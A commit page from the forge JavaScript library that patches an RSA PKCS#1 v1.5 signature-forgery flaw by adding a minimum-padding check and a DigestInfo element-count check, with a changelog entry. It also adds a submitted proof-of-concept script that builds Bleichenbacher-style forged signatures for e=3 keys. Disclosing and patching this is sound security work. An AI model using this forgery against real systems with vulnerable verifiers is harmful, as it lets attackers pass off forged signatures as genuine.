Skip to content

Commit af094e6

Browse files
committed
Add RSA padding and DigestInfo length checks.
- [rsa] Fix padding length check according to RFC 2313 8.1 note 6. Padding is required to be eight octets for block types 1 and 2. - [rsa] Fix RFC 8017 DigestInfo parsing to require a sequence length of two. - Address GHSA-ppp5-5v6c-4jwp: - GHSA-ppp5-5v6c-4jwp - Add submitted PoC. - Add tests with generated vectors.
1 parent 796eeb1 commit af094e6

File tree

4 files changed

+304
-10
lines changed

4 files changed

+304
-10
lines changed

CHANGELOG.md

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,20 @@ Forge ChangeLog
1313
- Reported by Kr0emer.
1414
- CVE ID: [CVE-2026-33891](https://www.cve.org/CVERecord?id=CVE-2026-33891)
1515
- GHSA ID: [GHSA-5gfm-wpxj-wjgq](https://github.com/digitalbazaar/forge/security/advisories/GHSA-5m6q-g25r-mvwx)
16+
- **HIGH**: Signature forgery in RSA-PKCS due to ASN.1 extra field.
17+
- RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low
18+
public exponent keys (e=3). Attackers can forge signatures by stuffing
19+
"garbage" bytes within the ASN.1 structure in order to construct a
20+
signature that passes verification, enabling Bleichenbacher style forgery.
21+
This issue is similar to CVE-2022-24771, but adds bytes in an addition
22+
field within the ASN.1 structure, rather than outside of it.
23+
- Additionally, forge does not validate that signatures include a minimum of
24+
8 bytes of padding as defined by the specification, providing attackers
25+
additional space to construct Bleichenbacher forgeries.
26+
- Reported as part of a U.C. Berkeley security research project by:
27+
- Austin Chu, Sohee Kim, and Corban Villa.
28+
- CVE ID: [CVE-2026-33894](https://www.cve.org/CVERecord?id=CVE-2026-33894)
29+
- GHSA ID: [GHSA-ppp5-5v6c-4jwp](https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp)
1630

1731
### Changed
1832
- [jsbn] Update to `jsbn` 1.4. Sync partly back to original style for easier
@@ -24,6 +38,9 @@ Forge ChangeLog
2438
mathematically correct but aligns with current `jsbn` behavior returning zero
2539
in other situations. The alternate of a `RangeError` would diverge from the
2640
rest of the API.
41+
- [rsa] Fix padding length check according to RFC 2313 8.1 note 6. Padding is
42+
required to be eight octets for block types 1 and 2.
43+
- [rsa] Fix RFC 8017 DigestInfo parsing to require a sequence length of two.
2744

2845
## 1.3.3 - 2025-12-02
2946

lib/rsa.js

Lines changed: 26 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1133,6 +1133,9 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) {
11331133
* _parseAllDigestBytes testing flag to control parsing of all
11341134
* digest bytes. Unsupported and not for general usage.
11351135
* (default: true)
1136+
* _skipPaddingChecks testing flag to skip some padding checks to
1137+
* test other checks. Unsupported and not for general usage.
1138+
* (default: false)
11361139
*
11371140
* @return true if the signature was verified, false if not.
11381141
*/
@@ -1144,27 +1147,32 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) {
11441147
}
11451148
if(options === undefined) {
11461149
options = {
1147-
_parseAllDigestBytes: true
1150+
_parseAllDigestBytes: true,
1151+
_skipPaddingChecks: false
11481152
};
11491153
}
11501154
if(!('_parseAllDigestBytes' in options)) {
11511155
options._parseAllDigestBytes = true;
11521156
}
1157+
if(!('_skipPaddingChecks' in options)) {
1158+
options._skipPaddingChecks = false;
1159+
}
11531160

11541161
if(scheme === 'RSASSA-PKCS1-V1_5') {
11551162
scheme = {
11561163
verify: function(digest, d) {
11571164
// remove padding
1158-
d = _decodePkcs1_v1_5(d, key, true);
1165+
d = _decodePkcs1_v1_5(d, key, true, undefined, options);
11591166
// d is ASN.1 BER-encoded DigestInfo
11601167
var obj = asn1.fromDer(d, {
11611168
parseAllBytes: options._parseAllDigestBytes
11621169
});
11631170

1164-
// validate DigestInfo
1171+
// validate DigestInfo structure and element count
11651172
var capture = {};
11661173
var errors = [];
1167-
if(!asn1.validate(obj, digestInfoValidator, capture, errors)) {
1174+
if(!asn1.validate(obj, digestInfoValidator, capture, errors) ||
1175+
obj.value.length !== 2) {
11681176
var error = new Error(
11691177
'ASN.1 object does not contain a valid RSASSA-PKCS1-v1_5 ' +
11701178
'DigestInfo value.');
@@ -1208,7 +1216,7 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) {
12081216
scheme = {
12091217
verify: function(digest, d) {
12101218
// remove padding
1211-
d = _decodePkcs1_v1_5(d, key, true);
1219+
d = _decodePkcs1_v1_5(d, key, true, undefined, options);
12121220
return digest === d;
12131221
}
12141222
};
@@ -1626,10 +1634,11 @@ function _encodePkcs1_v1_5(m, key, bt) {
16261634
* @param key the RSA key to use.
16271635
* @param pub true if the key is a public key, false if it is private.
16281636
* @param ml the message length, if specified.
1637+
* @param options testing options.
16291638
*
16301639
* @return the decoded bytes.
16311640
*/
1632-
function _decodePkcs1_v1_5(em, key, pub, ml) {
1641+
function _decodePkcs1_v1_5(em, key, pub, ml, options) {
16331642
// get the length of the modulus in bytes
16341643
var k = Math.ceil(key.n.bitLength() / 8);
16351644

@@ -1649,7 +1658,7 @@ function _decodePkcs1_v1_5(em, key, pub, ml) {
16491658
var bt = eb.getByte();
16501659
if(first !== 0x00 ||
16511660
(pub && bt !== 0x00 && bt !== 0x01) ||
1652-
(!pub && bt != 0x02) ||
1661+
(!pub && bt !== 0x02) ||
16531662
(pub && bt === 0x00 && typeof(ml) === 'undefined')) {
16541663
throw new Error('Encryption block is invalid.');
16551664
}
@@ -1673,6 +1682,11 @@ function _decodePkcs1_v1_5(em, key, pub, ml) {
16731682
}
16741683
++padNum;
16751684
}
1685+
1686+
// RFC 2313 8.1 note 6
1687+
if(padNum < 8 && !(options ? options._skipPaddingChecks : false)) {
1688+
throw new Error('Encryption block is invalid.');
1689+
}
16761690
} else if(bt === 0x02) {
16771691
// look for 0x00 byte
16781692
padNum = 0;
@@ -1683,6 +1697,11 @@ function _decodePkcs1_v1_5(em, key, pub, ml) {
16831697
}
16841698
++padNum;
16851699
}
1700+
1701+
// RFC 2313 8.1 note 6
1702+
if(padNum < 8 && !(options ? options._skipPaddingChecks : false)) {
1703+
throw new Error('Encryption block is invalid.');
1704+
}
16861705
}
16871706

16881707
// zero must be 0x00 and padNum must be (k - 3 - message length)

tests/pocs/ghsa-ppp5-5v6c-4jwp.js

Lines changed: 166 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,166 @@
1+
#!/usr/bin/env node
2+
'use strict';
3+
4+
// Security Advisory PoC
5+
//
6+
// https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp
7+
//
8+
// This vulnerability was discovered as part of a U.C. Berkeley security
9+
// research project by: Austin Chu, Sohee Kim, and Corban Villa.
10+
//
11+
// Test vectors from this code were added in the RSA unit tests.
12+
13+
const crypto = require('crypto');
14+
const forge = require('../../lib/index');
15+
16+
// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:
17+
// SEQUENCE {
18+
// SEQUENCE { OID sha256, NULL },
19+
// OCTET STRING <32-byte digest>
20+
// }
21+
// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20
22+
const DIGESTINFO_SHA256_PREFIX = Buffer.from(
23+
'300d060960864801650304020105000420',
24+
'hex'
25+
);
26+
27+
const toBig = b => BigInt('0x' + (b.toString('hex') || '0'));
28+
function toBuf(n, len) {
29+
let h = n.toString(16);
30+
if (h.length % 2) h = '0' + h;
31+
const b = Buffer.from(h, 'hex');
32+
return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;
33+
}
34+
function cbrtFloor(n) {
35+
let lo = 0n;
36+
let hi = 1n;
37+
while (hi * hi * hi <= n) hi <<= 1n;
38+
while (lo + 1n < hi) {
39+
const mid = (lo + hi) >> 1n;
40+
if (mid * mid * mid <= n) lo = mid;
41+
else hi = mid;
42+
}
43+
return lo;
44+
}
45+
const cbrtCeil = n => {
46+
const f = cbrtFloor(n);
47+
return f * f * f === n ? f : f + 1n;
48+
};
49+
function derLen(len) {
50+
if (len < 0x80) return Buffer.from([len]);
51+
if (len <= 0xff) return Buffer.from([0x81, len]);
52+
return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]);
53+
}
54+
55+
function forgeStrictVerify(publicPem, msg, sig) {
56+
// Enable for debugging and test vector generation.
57+
//console.log({
58+
// publicPem,
59+
// msg, msg.toString('hex'),
60+
// sig: sig.toString('hex')
61+
//});
62+
63+
const key = forge.pki.publicKeyFromPem(publicPem);
64+
const md = forge.md.sha256.create();
65+
md.update(msg.toString('utf8'), 'utf8');
66+
try {
67+
// verify(digestBytes, signatureBytes, scheme, options):
68+
// - digestBytes: raw SHA-256 digest bytes for `msg`
69+
// - signatureBytes: binary-string representation of the candidate signature
70+
// - scheme: undefined => default RSASSA-PKCS1-v1_5
71+
// - options._parseAllDigestBytes: require DER parser to consume all bytes
72+
// (this is forge's default for verify; set explicitly here for clarity)
73+
return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) };
74+
} catch (err) {
75+
return { ok: false, err: err.message };
76+
}
77+
}
78+
79+
function main() {
80+
const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', {
81+
modulusLength: 4096,
82+
publicExponent: 3,
83+
privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
84+
publicKeyEncoding: { type: 'pkcs1', format: 'pem' }
85+
});
86+
87+
const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' });
88+
const nBytes = Buffer.from(jwk.n, 'base64url');
89+
const n = toBig(nBytes);
90+
const e = toBig(Buffer.from(jwk.e, 'base64url'));
91+
if (e !== 3n) throw new Error('expected e=3');
92+
93+
const msg = Buffer.from('forged-message-0', 'utf8');
94+
const digest = crypto.createHash('sha256').update(msg).digest();
95+
const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);
96+
97+
// Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.
98+
const k = nBytes.length;
99+
// ffCount can be set to any value at or below 111 and produce a valid signature.
100+
// ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.
101+
// However, current versions of node forge do not check for this.
102+
// Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.
103+
const ffCount = 0;
104+
// `garbageLen` affects DER length field sizes, which in turn affect how
105+
// many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.
106+
// A small cap (8) is enough here: DER length-size transitions are discrete
107+
// and few (<128, <=255, <=65535, ...), so this stabilizes quickly.
108+
let garbageLen = 0;
109+
for (let i = 0; i < 8; i += 1) {
110+
const gLenEnc = derLen(garbageLen).length;
111+
const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;
112+
const seqLenEnc = derLen(seqLen).length;
113+
const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;
114+
const next = k - fixed;
115+
if (next === garbageLen) break;
116+
garbageLen = next;
117+
}
118+
const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;
119+
const prefix = Buffer.concat([
120+
Buffer.from([0x00, 0x01]),
121+
Buffer.alloc(ffCount, 0xff),
122+
Buffer.from([0x00]),
123+
Buffer.from([0x30]), derLen(seqLen),
124+
algAndDigest,
125+
Buffer.from([0x04]), derLen(garbageLen)
126+
]);
127+
128+
// Build the numeric interval of all EM values that start with `prefix`:
129+
// - `low` = prefix || 00..00
130+
// - `high` = one past (prefix || ff..ff)
131+
// Then find `s` such that s^3 is inside [low, high), so EM has our prefix.
132+
const suffixLen = k - prefix.length;
133+
const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));
134+
const high = low + (1n << BigInt(8 * suffixLen));
135+
const s = cbrtCeil(low);
136+
if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval');
137+
138+
const sig = toBuf(s, k);
139+
140+
const controlMsg = Buffer.from('control-message', 'utf8');
141+
const controlSig = crypto.sign('sha256', controlMsg, {
142+
key: privateKey,
143+
padding: crypto.constants.RSA_PKCS1_PADDING
144+
});
145+
146+
// forge verification calls (library under test)
147+
const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);
148+
const forgedForge = forgeStrictVerify(publicKey, msg, sig);
149+
150+
// Node.js verification calls (OpenSSL-backed reference behavior)
151+
const controlNode = crypto.verify('sha256', controlMsg, {
152+
key: publicKey,
153+
padding: crypto.constants.RSA_PKCS1_PADDING
154+
}, controlSig);
155+
const forgedNode = crypto.verify('sha256', msg, {
156+
key: publicKey,
157+
padding: crypto.constants.RSA_PKCS1_PADDING
158+
}, sig);
159+
160+
console.log('control-forge-strict:', controlForge.ok, controlForge.err || '');
161+
console.log('control-node:', controlNode);
162+
console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || '');
163+
console.log('forgery (node/OpenSSL):', forgedNode);
164+
}
165+
166+
main();

0 commit comments

Comments
 (0)